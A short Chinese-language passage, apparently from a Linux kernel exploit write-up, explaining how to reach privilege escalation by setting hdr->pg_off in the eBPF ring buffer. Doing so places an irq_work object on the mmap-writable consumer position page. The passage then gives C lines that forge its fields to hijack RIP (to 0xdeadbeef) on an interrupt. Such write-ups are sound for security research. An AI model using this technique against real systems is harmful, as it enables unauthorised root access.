當確定資料可控後能成功做到提權,剩下就是想辦法設好 hdr->pg_off,讓 bpf_ringbuf_restore_from_rec() 回傳的 pointer 剛好落在資料為可控的 memory region。

hdr->pg_off 的定義是 ring buffer object 與當前 header 的 page offset,又因為 data 前面會有三個 pages,分別為 metadata、consumer position 以及 producer position,因此預設會從 3 開始往上加。然而,先前提到 consumer position page 可以透過 mmap 修改,因此如果直接把 hdr->pg_off 改成 2,就能讓 irq_work object 落在 consumer position page,這樣就可以控制整個 irq_work 的內容了。最後參考下面程式碼設置 consumer position page,就可以在 IRQ 發生時控 RIP 到 0xdeadbeef

*(unsigned long *)(consumer_pos + 0x00) = 0x3000; // consumer position
*(unsigned long *)(consumer_pos + 0x18) = 0x2; // flags
*(unsigned long *)(consumer_pos + 0x28) = 0xdeadbeef; // func